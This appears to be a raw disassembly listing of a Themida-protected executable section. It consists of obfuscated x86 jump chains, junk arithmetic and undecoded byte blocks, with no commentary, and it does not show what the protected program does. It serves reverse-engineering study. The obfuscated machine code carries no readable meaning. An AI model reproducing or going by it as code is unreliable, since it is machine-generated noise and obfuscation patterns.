word_50A55E dw 34FFh ; DATA XREF: Themida_:00502808o
dd 2434FF24h, 0E9240C8Bh, 80EEh, 4EC8158h, 89000000h, 0E2892414h
dd 4B850h, 0C2010000h, 60E95058h
db 2Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_50A587: ; CODE XREF: Themida_:005066DDj
mov [esp], ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
jmp loc_5039CD
; ---------------------------------------------------------------------------
loc_50A5A6: ; CODE XREF: Themida_:0050D735j
mov ecx, 779E59DDh
add edx, ecx
mov ecx, [esp]
add esp, 4
jmp loc_50614A
; ---------------------------------------------------------------------------
loc_50A5BB: ; CODE XREF: Themida_:0050B134j
pop esi
push 13CDh
mov [esp], esi
not dword ptr [esp]
pop esi
jmp loc_503CE0
; ---------------------------------------------------------------------------
db 1, 0CBh, 59h
dd 0F0E9DA01h
db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50A5D7: ; CODE XREF: Themida_:0050AACBj
pop ebp
shr ebp, 8
push ecx
mov ecx, 6F6D0E31h
xchg edx, ecx
not edx
xchg edx, ecx
sub ecx, 2115006Dh
jmp loc_5102EF
; ---------------------------------------------------------------------------
dw 0E389h
dd 4C381h, 0C3830000h, 241C8704h, 4C4815Ch, 52000000h
dd 781668h, 24248900h, 4240481h, 5A000000h, 1E0168h, 243C8900h
dd 2678EABFh, 78E7811Fh, 0E978607Dh, 7972h, 5E665B66h
dd 66D6F766h, 1DE9F387h, 0BBFFFFF0h, 418A43A8h, 5462E381h
dd 564B1ADEh, 0CB6AE9h
db 0
; ---------------------------------------------------------------------------
loc_50A651: ; CODE XREF: Themida_:00507F18j
mov ch, 37h
sub al, ch
pop ecx
sub al, dh
jmp loc_505E58
; ---------------------------------------------------------------------------
db 8Bh, 3Ch, 24h
dd 0E904C483h, 3C4Dh
; ---------------------------------------------------------------------------
loc_50A668: ; CODE XREF: Themida_:00506EA2j
push small 5E25h
mov [esp], ax
jmp loc_5084FA
; ---------------------------------------------------------------------------
loc_50A675: ; CODE XREF: Themida_:005150B9j
add ebx, edx
add [ebx], ebp
pop ebx
mov edx, [esp]
push edx
mov edx, esp
jmp loc_512F8F
; ---------------------------------------------------------------------------
aQSP0Ys db 'Q±‘³0ËYé',0
db 'Æ',0
align 2
dw 1489h
dd 1044E924h, 81660000h, 0E91B92EBh, 34FFh, 924185B9h
dd 6A31E970h, 0F1880000h, 0C530E9h, 0F7DF8700h, 1C781DFh
dd 0E9000000h, 8F51h
; ---------------------------------------------------------------------------
loc_50A6C4: ; CODE XREF: Themida_:00510C46j
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_513E77
; ---------------------------------------------------------------------------
loc_50A6D4: ; CODE XREF: Themida_:005162A1j
push dword ptr [esp]
push dword ptr [esp]
jmp loc_513A56
; ---------------------------------------------------------------------------
byte_50A6DF db 30h ; DATA XREF: Themida_:00502A58o
dd 0C32240Ch, 240C3024h, 0FFE6DAE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_50A6ED: ; CODE XREF: Themida_:005151FBj
push dx
dec byte ptr [esp+1]
pop dx
inc dh
push 3881h
mov [esp], ebx
jmp loc_5178F8
; ---------------------------------------------------------------------------
loc_50A704: ; CODE XREF: Themida_:00507B87j
push edx
jmp loc_50690E
; ---------------------------------------------------------------------------
dw 0BF57h
dd 212E29D5h, 0FFA751E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_50A715: ; CODE XREF: Themida_:0050F98Bj
mov ebp, 18A04FDCh
jmp loc_507CA0
; ---------------------------------------------------------------------------
db 5Fh
dd 24148B59h, 4C481h, 99680000h, 89000069h, 4BD242Ch, 0E9000000h
dd 0FFFFBD78h
; ---------------------------------------------------------------------------
loc_50A73C: ; CODE XREF: Themida_:00507A4Bj
xchg edi, [esp]
mov esp, [esp]
jmp loc_514CD7
; ---------------------------------------------------------------------------
loc_50A747: ; CODE XREF: Themida_:00504899j
add ebp, eax
pop eax
push esi
mov esi, 738B463Eh
and esi, 4A7414ECh
jmp loc_51480E
; ---------------------------------------------------------------------------
loc_50A75B: ; CODE XREF: Themida_:005040C4j
mov edx, 800407Ch
add ebx, 7F8A64A9h
sub ebx, edx
sub ebx, 7F8A64A9h
pop edx
jmp loc_509ACC
; ---------------------------------------------------------------------------
dd 5C243C87h, 1C36E9h, 91E95900h, 5B0000C0h, 0E92434FFh
dd 9211h, 0B058C381h, 0EBC1FD62h, 0B40EE907h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_50A79A: ; CODE XREF: Themida_:00512FE4j
shr ebx, 7
shr ebx, 3
inc ebx
or ebx, 6154C91h
xor ebx, 4C9D4B86h
xor edi, ebx
pop ebx
xor esi, edi
pop edi
push ebx
mov ebx, esi
push edi
mov edi, ebx
mov edx, edi
pop edi
pop ebx
mov esi, [esp]
add esp, 4
add edx, 5AEC6F9Eh
push esi
jmp loc_505E44
; ---------------------------------------------------------------------------
db 66h
dd 83240C8Bh, 348904ECh, 791CE924h, 0C4810000h, 4, 0BD40E9h
dd 5D5E5500h, 997C681h, 222D40C9h, 5503310h, 18E132B9h
dd 1458E9h
db 0
; ---------------------------------------------------------------------------
loc_50A801: ; CODE XREF: Themida_:00506075j
sub esp, 4
mov [esp], ebp
sub esp, 4
jmp loc_50DADB
; ---------------------------------------------------------------------------
loc_50A815: ; CODE XREF: Themida_:0050AF9Dj
push 37Bh
mov [esp], esi
jmp loc_510AE7
; ---------------------------------------------------------------------------
word_50A822 dw 34FFh ; DATA XREF: Themida_:00502810o
dd 240C8B24h, 8904EC83h, 0E6892434h, 4C681h, 0C6810000h
dd 4, 2474FF56h, 48F5E04h, 0E1E95C24h
db 8Dh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50A84B: ; CODE XREF: Themida_:0050995Ej
push 6FDEh
jmp loc_51137F
; ---------------------------------------------------------------------------
loc_50A855: ; CODE XREF: Themida_:00503606j
add ebp, 4BE476BEh
mov edi, [esp]
push eax
jmp loc_5149E7
; ---------------------------------------------------------------------------
dd 0F815E940h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50A86A: ; CODE XREF: Themida_:00512230j
push eax
push 61682B37h
jmp loc_50EABA
; ---------------------------------------------------------------------------
loc_50A875: ; CODE XREF: Themida_:005124ECj
mov eax, [esp]
push ebp
mov ebp, esp
add ebp, 4
push edx
jmp loc_516F0F
; ---------------------------------------------------------------------------
loc_50A887: ; CODE XREF: Themida_:005101E1j
xor edi, eax
xor eax, edi
push 290Bh
mov [esp], edi
xchg ebp, [esp]
xchg edx, ebp
jmp loc_50DAEB
; ---------------------------------------------------------------------------
db 87h, 1Ch, 24h
dd 8BD0015Ch, 0C4812414h, 4, 817AE9h
db 0
; ---------------------------------------------------------------------------
loc_50A8B1: ; CODE XREF: Themida_:00506F58j
xor edi, [esp]
mov esp, [esp]
mov [esp], edi
jmp loc_50ABFE
; ---------------------------------------------------------------------------
aYsq db 'Yéï',27h,0
db 0
; ---------------------------------------------------------------------------
loc_50A8C5: ; CODE XREF: Themida_:0050EE9Dj
pop ebp
jmp loc_507ECC
; ---------------------------------------------------------------------------
db 0C1h
dd 0EC8103EDh, 4, 0FFC9A4E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_50A8D9: ; CODE XREF: Themida_:0050B393j
push ebp
push ebx
mov ebx, 4F260CEh
shr ebx, 7
jmp loc_50ABE6
; ---------------------------------------------------------------------------
loc_50A8E8: ; CODE XREF: Themida_:0050BAE6j
push edi
mov edi, 4
jmp loc_50AD52
; ---------------------------------------------------------------------------
db 0BFh
dd 66F3600Eh, 555FF821h, 4E6FBF57h, 0A8E94B86h
db 11h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_50A907: ; CODE XREF: Themida_:00515D65j
push edi
mov edi, 4
jmp loc_5107D1
; ---------------------------------------------------------------------------
dw 4BFh
dd 0E9000000h, 0B605h, 0E9FA295Fh, 0FFFFDC19h
; ---------------------------------------------------------------------------
loc_50A924: ; CODE XREF: Themida_:005158B7j
pop dword ptr [esp]
push eax
push edx
jmp loc_510D92
; ---------------------------------------------------------------------------
dw 0E789h
dd 5422BA52h, 0F28145ECh, 45EC5426h, 815AD701h, 4C7h, 243C8700h
dd 24048F5Ch, 6624248Bh, 6824148Bh, 75F8h, 0E9241C89h
dd 0FFFFB2FFh
; ---------------------------------------------------------------------------
loc_50A960: ; CODE XREF: Themida_:005160F3j
add esp, 4
bswap eax
jmp loc_5109B5
; ---------------------------------------------------------------------------
dw 895Ch
dd 0A2E9240Ch
db 0C0h, 2 dup(0)
byte_50A973 db 8Bh ; DATA XREF: Themida_:0050282Co
dd 50E92424h, 81FFFF81h, 566881EBh, 81C30108h, 566881C3h
db 8
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_50595E
; ---------------------------------------------------------------------------
aBszOassr db 'é§*oAéèR',0
align 4
dd 0DE8144BAh, 0E9D701A3h, 0A24Dh, 0B446E950h, 0D931FFFFh
dd 0EDED815Bh, 16A0876h, 0EDC581CDh, 0E96A0876h, 6A54h
dd 0C49B951h, 0C80911EFh, 1AD12D59h, 0C701DB80h, 0FFC78158h
dd 81B2C0A6h, 0EE25BCC3h, 81FB010Ah, 0EE25BCEBh, 3374E90Ah
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_50A9EE: ; CODE XREF: Themida_:00504E18j
push eax
push edx
jmp loc_505E09
; ---------------------------------------------------------------------------
loc_50A9F5: ; CODE XREF: Themida_:0051069Dj
mov [esp], edi
mov edi, 1
add ecx, edi
mov edi, [esp]
add esp, 4
shl ecx, 6
xor ecx, 0A35A5E6Dh
xor eax, ecx
push dword ptr [esp]
jmp loc_504511
; ---------------------------------------------------------------------------
loc_50AA18: ; CODE XREF: Themida_:00515432j
shl edx, 6
jmp loc_510304
; ---------------------------------------------------------------------------
dd 0F759C831h, 19F80DD0h, 0C3E93FE2h
db 1Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_50AA2F: ; CODE XREF: Themida_:0050DF37j
mov esp, [esp]
push edi
sub esp, 4
mov [esp], eax
jmp loc_512A4A
; ---------------------------------------------------------------------------
aLS_0 db '‹<$é!±',0
dd 87048F00h, 0FF807AE9h, 4C381FFh, 83000000h, 1C8704EBh
dd 14895C24h, 4BA24h, 54010000h, 8B5A0424h, 97E9242Ch
dd 330000C6h, 2C31242Ch, 242C3324h, 0FFC20DE9h, 14875CFFh
dd 0C0F3E924h, 0E951FFFFh, 0FFFFBA2Eh, 0E924048Bh, 0FFFFDFEFh
dd 0E0697068h, 0E3815B0Dh, 652F3606h, 4728E943h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_50AAAA: ; CODE XREF: Themida_:0050AB22j
and eax, ecx
pop ecx
shr eax, 10h
xor eax, ecx
push 761Fh
mov [esp], eax
xor [esp], ebp
xor ebp, [esp]
xor [esp], ebp
jmp loc_517DFC
; ---------------------------------------------------------------------------
loc_50AAC8: ; CODE XREF: Themida_:00506270j
not dword ptr [esp]
jmp loc_50A5D7
; ---------------------------------------------------------------------------
loc_50AAD0: ; CODE XREF: Themida_:0050D81Cj
pop edx
sub esp, 4
jmp loc_51283A
; ---------------------------------------------------------------------------
loc_50AADC: ; CODE XREF: Themida_:00508B43j
pop ebx
sub edi, 1D56548Ah
sub edi, ecx
push ecx
mov ecx, 1D56548Ah
add edi, ecx
mov ecx, [esp]
add esp, 4
mov ecx, [esp]
add esp, 4
jmp loc_515C67
; ---------------------------------------------------------------------------
dw 0C481h
dd 4, 7DEBF681h, 30E97759h
db 97h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_50AB0F: ; CODE XREF: Themida_:005115BCj
add esp, 4
push edi
jmp loc_508D19
; ---------------------------------------------------------------------------
loc_50AB18: ; CODE XREF: Themida_:005046D7j
add ebp, esi
jmp loc_50C9F0
; ---------------------------------------------------------------------------
loc_50AB1F: ; CODE XREF: Themida_:005138FEj
add ecx, edx
pop edx
jmp loc_50AAAA
; ---------------------------------------------------------------------------
db 87h
dd 5DE9240Ch, 81000038h, 0A21BD4C3h, 2434FF6Bh, 4C4815Dh
dd 0E9000000h, 8BAh, 8104C483h, 4ECh, 2FBE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_50AB52: ; CODE XREF: Themida_:0050F465j
pop ebx
mov ax, [esp]
jmp loc_51255F
; ---------------------------------------------------------------------------
dd 4C4815Bh, 87000000h, 0E95C242Ch, 45D0h, 6869B850h, 0C6810C34h
dd 34232BEh, 0EE81C601h, 34232BEh, 24048B58h, 4C481h, 0EC830000h
dd 24048904h, 4EC81h, 2C890000h, 34156824h, 815D5BC7h
dd 447C3EC5h, 51B9512Ah, 29860BB0h, 240C8BCDh, 8904C483h
dd 242C8BE8h, 2904C483h, 0EC8358C6h, 24348904h, 42474FFh
dd 0FF7F6CE9h, 68F9F7FFh, 0B51h, 50241489h, 7EEDE99Ch
dd 0C483FFFFh, 0CE29E904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50ABE6: ; CODE XREF: Themida_:0050A8E3j
sub ebx, 0BC42B729h
xor ebx, 7A1D26BDh
inc ebx
and ebx, 4CBA0EDCh
jmp loc_50B52A
; ---------------------------------------------------------------------------
loc_50ABFE: ; CODE XREF: Themida_:0050A8BAj
push 48471CFCh
mov edi, [esp]
jmp loc_51053C
; ---------------------------------------------------------------------------
db 89h
dd 0EC832414h, 241C8904h, 2827CFBBh, 4EC8355h, 81241C89h
dd 6574242Ch, 0BAE95CFCh, 100001Fh, 0C38FE9CFh, 0E3890000h
dd 5D8F68h, 24148900h, 8A182ABAh, 0E9E2D117h, 352Bh, 5866C688h
dd 66243486h, 0ECF18059h, 281BC380h, 1BEB80CBh, 5CACE9h
db 0
byte_50AC61 db 66h, 0FFh, 32h ; DATA XREF: Themida_:0050296Co
dd 0FF7E62E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_50AC69: ; CODE XREF: Themida_:0051287Aj
and eax, 3166649Dh
jmp loc_502BE1
; ---------------------------------------------------------------------------
db 0BEh
dd 23252F12h, 0C107E6C1h, 7FE905E6h
db 88h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50AC83: ; CODE XREF: Themida_:0050858Fj
pop esp
mov ebp, [esp]
push ecx
jmp loc_508E0F
; ---------------------------------------------------------------------------
db 5Bh, 33h, 14h
dd 24143124h, 8B241433h, 3C892424h, 63AA6824h, 8DE90000h
db 2Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_50ACA7: ; CODE XREF: Themida_:00505C01j
mov ebx, [esp]
jmp loc_5136BF
; ---------------------------------------------------------------------------
loc_50ACAF: ; CODE XREF: Themida_:00516243j
pop dword ptr [esp]
mov esp, [esp]
jmp loc_505C65
; ---------------------------------------------------------------------------
dw 8155h
dd 5A4B2404h, 2D5828C4h, 28C45A4Bh, 0FFC6A2E9h, 52FB01FFh
dd 0BB53h, 0DA890000h, 0FFE557E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_50ACDD: ; CODE XREF: Themida_:005135B8j
push 5D48h
mov [esp], edi
push esi
mov esi, 43DB0783h
push edx
jmp loc_50B168
; ---------------------------------------------------------------------------
db 5Fh, 0E9h, 0E1h
dd 0BAFFFFDFh, 4, 5179C781h, 0D70128C8h, 5179EF81h, 835A28C8h
dd 3C8704C7h, 0B4E95C24h, 55FFFF7Dh, 473A68BDh, 6FEF8168h
dd 0E9109863h, 8041h, 2C9B6866h, 24248966h, 24048166h
dd 8F660002h, 0E9502404h, 0
dd 950DE954h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50AD46: ; CODE XREF: Themida_:0050E421j
pop ebp
sub esp, 4
jmp loc_50C27E
; ---------------------------------------------------------------------------
loc_50AD52: ; CODE XREF: Themida_:0050A8EEj
add [esp+4], edi
pop edi
pop edi
add edi, 4
sub edi, 4
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
mov [esp], eax
sub esp, 4
mov [esp], ebx
mov ebx, 28BF6B0Fh
jmp loc_51350F
; ---------------------------------------------------------------------------
loc_50AD7E: ; CODE XREF: Themida_:00503002j
pop esp
jmp loc_503B2B
; ---------------------------------------------------------------------------
loc_50AD84: ; CODE XREF: Themida_:0050D12Aj
push ebp
mov ebp, 505E1F8Ah
sub edx, ebp
pop ebp
add edx, ebx
add edx, 505E1F8Ah
pop ebx
xchg edx, [esp]
jmp loc_50401E
; ---------------------------------------------------------------------------
loc_50AD9E: ; CODE XREF: Themida_:00505710j
xor [esp+4], edx
mov edx, [esp]
push ecx
jmp loc_5083B8
; ---------------------------------------------------------------------------
db 0BAh
dd 48E45B82h, 1654E9h
db 0
; ---------------------------------------------------------------------------
loc_50ADB5: ; CODE XREF: Themida_:00515E71j
shr eax, 0Eh
xor eax, ecx
jmp loc_513372
; ---------------------------------------------------------------------------
db 89h
dd 0FEF4E9F5h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50ADC6: ; CODE XREF: Themida_:0050CDB0j
add bl, 7Dh
pop eax
add bl, al
push dx
mov dh, 63h
add dh, 0Dh
xor dh, 0Eh
shl dh, 6
inc dh
add dh, 0E5h
sub dh, 0C5h
add bl, dh
pop dx
movzx eax, al
jmp dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
db 61h
dd 93BDE9C3h, 0E95CFFFFh, 5BDEh, 5C243C87h, 284468h, 241C8900h
dd 0E89E9h, 53E18900h, 3733E9h, 0E9E78800h, 0FFFFAB9Ah
dd 8AE9D3F7h, 0FFFFC2h, 2CF604D8h, 68536621h, 5105h, 711AE9h
dd 4BBA6800h, 48B58AEh, 0E7895724h, 4C781h, 0C7810000h
dd 4, 0C81E9h, 243C8900h, 4A19DCBFh, 0ACDEE937h, 0BF57FFFFh
dd 5CA05749h, 381CE9h, 0FFC68300h, 0A20AE953h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50AE6E: ; CODE XREF: Themida_:0051235Bj
or ebx, 41C2300Ah
and ebx, 24F40610h
shl ebx, 2
shr ebx, 2
shl ebx, 4
add ebx, 53A1E43h
push ebx
mov ebx, 94C52EBh
add [esp+8], ebx
pop ebx
add [esp+4], ebx
jmp loc_502C73
; ---------------------------------------------------------------------------
loc_50AE9D: ; CODE XREF: Themida_:005168D0j
add edi, ecx
pop ecx
add edi, 4
xchg edi, [esp]
pop esp
push edx
mov edx, 16AC56DCh
xor edx, 7D0E03EAh
jmp loc_5138F5
; ---------------------------------------------------------------------------
dd 5009F681h, 0F5317D82h, 8124348Bh, 4C4h, 0FFEE0100h
dd 2C8B2434h, 26E95724h, 0BBFFFFB6h, 58F45BE7h, 515BD829h
dd 6511BE56h, 52536273h, 4117BABAh, 0E9D38978h, 0B22Fh
dd 0E9243C89h, 0FFFFD81Eh
; ---------------------------------------------------------------------------
loc_50AEFC: ; CODE XREF: Themida_:00512A16j
inc eax
inc eax
jmp loc_509FD7
; ---------------------------------------------------------------------------
loc_50AF03: ; CODE XREF: Themida_:00511F87j
add edx, edi
sub edx, 38F31491h
pop edi
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
add esp, 4
shl eax, cl
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
jmp loc_513FCB
; ---------------------------------------------------------------------------
aSp8 db ')Ñé8',0
align 4
dd 5C243C87h, 4C481h, 0C6810000h, 4, 8B243487h, 0E1F72424h
dd 124C68h, 24148900h, 6CE99C50h, 89FFFF7Bh, 3481240Ch
dd 93637624h, 0F6815E73h, 73936376h, 0E9F23159h, 0FFFFB719h
; ---------------------------------------------------------------------------
loc_50AF78: ; CODE XREF: Themida_:005176AAj
pop eax
add eax, 4
jmp loc_50CD33
; ---------------------------------------------------------------------------
db 30h
dd 7EE9FCh, 0C8310000h, 0CBDFE9h
db 0
; ---------------------------------------------------------------------------
loc_50AF91: ; CODE XREF: Themida_:00510922j
push dword ptr [esp]
jmp loc_5087F3
; ---------------------------------------------------------------------------
loc_50AF99: ; CODE XREF: Themida_:00506319j
push dword ptr [esp]
pop edi
jmp loc_50A815
; ---------------------------------------------------------------------------
dw 0B850h
dd 4, 0E958C629h, 0A124h, 89241489h, 0E16856E2h, 8900005Ch
dd 58BA2414h, 81797C2Fh, 0E0772FCAh, 15ECE966h, 0C6810000h
dd 4, 8704EE83h, 0E95C2434h, 0FFFF9079h
; ---------------------------------------------------------------------------
loc_50AFE0: ; CODE XREF: Themida_:00516164j
pop edi
add edi, 4
add edi, 4
sub esp, 4
mov [esp], edi
push dword ptr [esp+4]
jmp loc_516242
; ---------------------------------------------------------------------------
byte_50AFF9 db 0FFh, 77h, 40h ; DATA XREF: Themida_:00502900o
dd 0FF7ACAE9h, 0E94959FFh, 8C53h, 0D4F65B66h, 8005ECC0h
dd 0EC80C1CCh, 60C480EDh, 0FF940BE9h, 52D801FFh, 9933E9h
dd 98E95F00h
db 90h, 2 dup(0)
byte_50B02B db 66h ; DATA XREF: Themida_:00502978o
dd 52240C8Bh, 0EC81E289h, 4, 81243C89h, 4ECh, 0FBC5E900h
dd 0CB09FFFFh, 81EBD159h, 0EC78E6EBh, 0F7CB875Bh, 0C1CB87D1h
dd 0BA5208E3h, 0E102675h, 0C281D2F7h, 0BD563B7Ah, 0BE9D301h
db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50B06F: ; CODE XREF: Themida_:00506E4Dj
mov ah, 0DEh
xor dl, ah
pop ax
and dl, 0E7h
jmp loc_50407E
; ---------------------------------------------------------------------------
align 2
dw 66D0h
dd 0E924148Bh, 6135h, 18E99CB4h, 8100008Ah, 4ECh, 24348900h
dd 76ACE9h, 240C8900h, 51C9E9h, 0E9814900h, 5C44777Fh
dd 0F496E981h, 0CB01797Ah, 570E959h, 4890000h, 0BE565324h
dd 99063A2h, 685EF389h, 24A4h, 0BB241C89h, 36BB6477h, 0F3FBF57h
dd 0FB017BB8h, 16F3815Fh, 51BBE317h, 16D8E9h
db 0
byte_50B0E9 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00502A70o
dd 0E3895324h, 4EC81h, 3C890000h, 4EC8324h, 0E9240489h
dd 0FFFFEA8Bh, 8BD1015Bh, 89532414h, 77A2E9E3h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_50B112: ; CODE XREF: Themida_:0050EA85j
or bl, cl
pop ecx
sub bl, 1
push 3E2Eh
jmp loc_5157E4
; ---------------------------------------------------------------------------
dw 0FC88h
dd 37E9E588h
db 11h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_50B12B: ; CODE XREF: Themida_:00505DC8j
pop esp
mov [esp], esi
push 7884EB7h
jmp loc_50A5BB
; ---------------------------------------------------------------------------
db 5Ah, 83h, 0C4h
dd 10D2504h, 0F7054528h, 1FAFFFEh, 76E958C3h, 5A0000BAh
dd 7FBEE9h
db 0
; ---------------------------------------------------------------------------
loc_50B155: ; CODE XREF: Themida_:0050CD44j
pop ebx
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebx
jmp loc_507BC0
; ---------------------------------------------------------------------------
loc_50B168: ; CODE XREF: Themida_:0050ACECj
mov edx, 78474B03h
mov edi, edx
pop edx
xor edi, esi
jmp loc_507936
; ---------------------------------------------------------------------------
loc_50B177: ; CODE XREF: Themida_:0050ED14j
mov [esp], ecx
sub esp, 4
mov [esp], ebp
jmp loc_50E094
; ---------------------------------------------------------------------------
dd 8904EC83h, 0F1B9240Ch, 0BB60F86Bh, 27625B4Eh, 30DFE9h
dd 470D6800h, 57E90000h
db 0A3h, 2 dup(0FFh)
byte_50B1A7 db 66h ; DATA XREF: Themida_:00502954o
dd 5224048Bh, 0B951E289h, 117323B1h, 0FFA7DFE9h, 24248BFFh
dd 68240489h, 242Dh, 24048F54h, 2701E9h
db 0
; ---------------------------------------------------------------------------
loc_50B1CD: ; CODE XREF: Themida_:0051310Ej
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_5151A3
; ---------------------------------------------------------------------------
dw 0A568h
dd 0E9000014h, 0C9CEh, 4EC81h, 0C890000h, 81E18924h, 4ECh
dd 24148900h, 0FFF20AE9h, 0F5F281FFh, 814FC867h, 0CD569DF2h
dd 71CA8136h, 0E9187E7Ch, 6CF1h, 4C4835Ah, 0B35BE9h
db 0
; ---------------------------------------------------------------------------
loc_50B225: ; CODE XREF: Themida_:00505130j
pop edx
sub bl, dl
jmp loc_505D23
; ---------------------------------------------------------------------------
db 81h, 0EBh, 14h
dd 2977AA10h, 14C381FBh, 8B77AA10h, 0C481243Ch, 4, 4504FD05h
dd 5B74E956h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_50B24E: ; CODE XREF: Themida_:0050A531j
push 1336h
mov [esp], eax
push edi
push 589B00A2h
pop edi
or edi, 78214DD8h
jmp loc_503434
; ---------------------------------------------------------------------------
dd 54240489h, 0BC7EE9h, 8BF80100h, 0C483243Ch, 24043304h
dd 33240431h, 0E95C2404h, 0FFFFF945h, 4EC81h, 6AE90000h
dd 0FFFFFFEDh, 34FF8734h
db 24h, 58h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push eax
jmp loc_50A285
; ---------------------------------------------------------------------------
db 5Dh
dd 456F5E35h, 58C7313Ch, 5007EFC1h, 6E0BA52h, 64E97B38h
dd 6800001Ch, 1340659Fh, 8124348Bh, 4C4h, 4FEE8100h, 5735223Bh
dd 6F66E5BFh, 65E7815Ah, 4F3B935Fh, 6CC6E781h, 0BE566C61h
dd 4ECB5FC9h, 0B0CCE9h
db 0
; ---------------------------------------------------------------------------
loc_50B2ED: ; CODE XREF: Themida_:00515FF0j
push edx
push ebp
mov ebp, 4
mov edx, ebp
pop ebp
sub ebp, 35455298h
add ebp, edx
add ebp, 35455298h
pop edx
push 1E3Ah
mov [esp], ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
jmp loc_50BF9B
; ---------------------------------------------------------------------------
db 88h
dd 59CF88F1h, 0FF9D08E9h, 59C821FFh, 0FF17B32Dh, 8BC131FFh
dd 0C4832404h, 59CF0104h, 0FF7FFFE9h, 2434FFFFh, 4C48358h
dd 4EC8350h, 89241C89h, 4C381E3h, 83000000h, 1C3304EBh
dd 241C3124h, 5C241C33h, 68242489h, 3AD1h, 0B8240489h
dd 4, 20FE9h, 0F9015800h, 74FF515Fh, 0C8B0424h, 4C48324h
dd 0E924048Fh, 0FFFFD1EBh
; ---------------------------------------------------------------------------
loc_50B38C: ; CODE XREF: Themida_:005055B1j
xchg esi, [esp]
pop esp
mov [esp], esi
jmp loc_50A8D9
; ---------------------------------------------------------------------------
loc_50B398: ; CODE XREF: Themida_:00513A51j
mov esi, [esp]
add esp, 4
push 1A9Bh
mov [esp], eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
pop esp
or edx, eax
shl edx, 1
jmp loc_50A52E
; ---------------------------------------------------------------------------
loc_50B3B8: ; CODE XREF: Themida_:005135E1j
pop ecx
sub esp, 4
mov [esp], ecx
xchg esi, [esp]
not esi
xor [esp], esi
xor esi, [esp]
jmp loc_50B8A6
; ---------------------------------------------------------------------------
loc_50B3D2: ; CODE XREF: Themida_:00515972j
xor [esp], ecx
xor ecx, [esp]
xor [esp], ecx
push dword ptr [esp]
push dword ptr [esp]
pop eax
add esp, 4
push esi
jmp loc_509A2C
; ---------------------------------------------------------------------------
loc_50B3EE: ; CODE XREF: Themida_:0050F718j
add ecx, esi
pop esi
sub eax, ecx
jmp loc_515B95
; ---------------------------------------------------------------------------
aQskn db 'Qék',0
align 2
dw 1C33h
dd 241C3124h, 0E9241C33h, 2C3Fh, 2508E8C1h, 75B705D4h
dd 6808E8C1h, 7837h, 4067E9h, 243C8900h, 0C833E954h, 815B0000h
dd 0CC111DF3h, 0DF295847h, 0BEE9E9h, 8BC80100h, 0C483240Ch
dd 1DBCE904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_50B446: ; CODE XREF: Themida_:00512913j
shr dword ptr [eax], 6
neg dword ptr [eax]
and dword ptr [eax], 0BD06F84h
add dword ptr [eax], 33D07F21h
push edx
jmp loc_50FC24
; ---------------------------------------------------------------------------
db 66h, 5Bh, 0
dd 305866C5h, 240C8BE8h, 4C481h, 0EC830000h, 2D35E904h
dd 0F3810000h, 0B866B505h, 535BDF31h, 667339BBh, 611D680Fh
dd 2C890000h, 471BBD24h, 0BB537865h, 998519Eh, 0FF92FEE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_50B49D: ; CODE XREF: Themida_:0050A144j
pop esi
add eax, 4
sub esp, 4
mov [esp], eax
push dword ptr [esp+4]
jmp loc_513941
; ---------------------------------------------------------------------------
aScj_0 db '\éCj',0
db 0
; ---------------------------------------------------------------------------
loc_50B4B9: ; CODE XREF: Themida_:00507B42j
push ebp
mov ebp, esp
jmp loc_50786B
; ---------------------------------------------------------------------------
db 68h, 0D7h, 6Dh
dd 4890000h, 163BB824h, 8C3513C5h, 3112DC19h, 24048BC2h
dd 9E05E9h, 4A18BF00h, 0DFF705C9h, 8108EFC1h, 0FA36B1F7h
dd 68565200h, 28ED48A8h, 0EEC14E5Eh, 3EEC105h, 8E36F681h
dd 0FFE930A0h
db 50h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_50B507: ; CODE XREF: Themida_:005168ABj
mov ebx, 0AFADA27Ch
sub eax, ebx
pop ebx
add ebx, eax
jmp loc_5030DB
; ---------------------------------------------------------------------------
dw 0EF88h
dd 592434FFh, 4C481h, 665A0000h, 9B1CE951h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_50B52A: ; CODE XREF: Themida_:0050ABF9j
not ebx
xor ebx, 0F23FD6EBh
push 75DFh
mov [esp], edi
mov edi, ebx
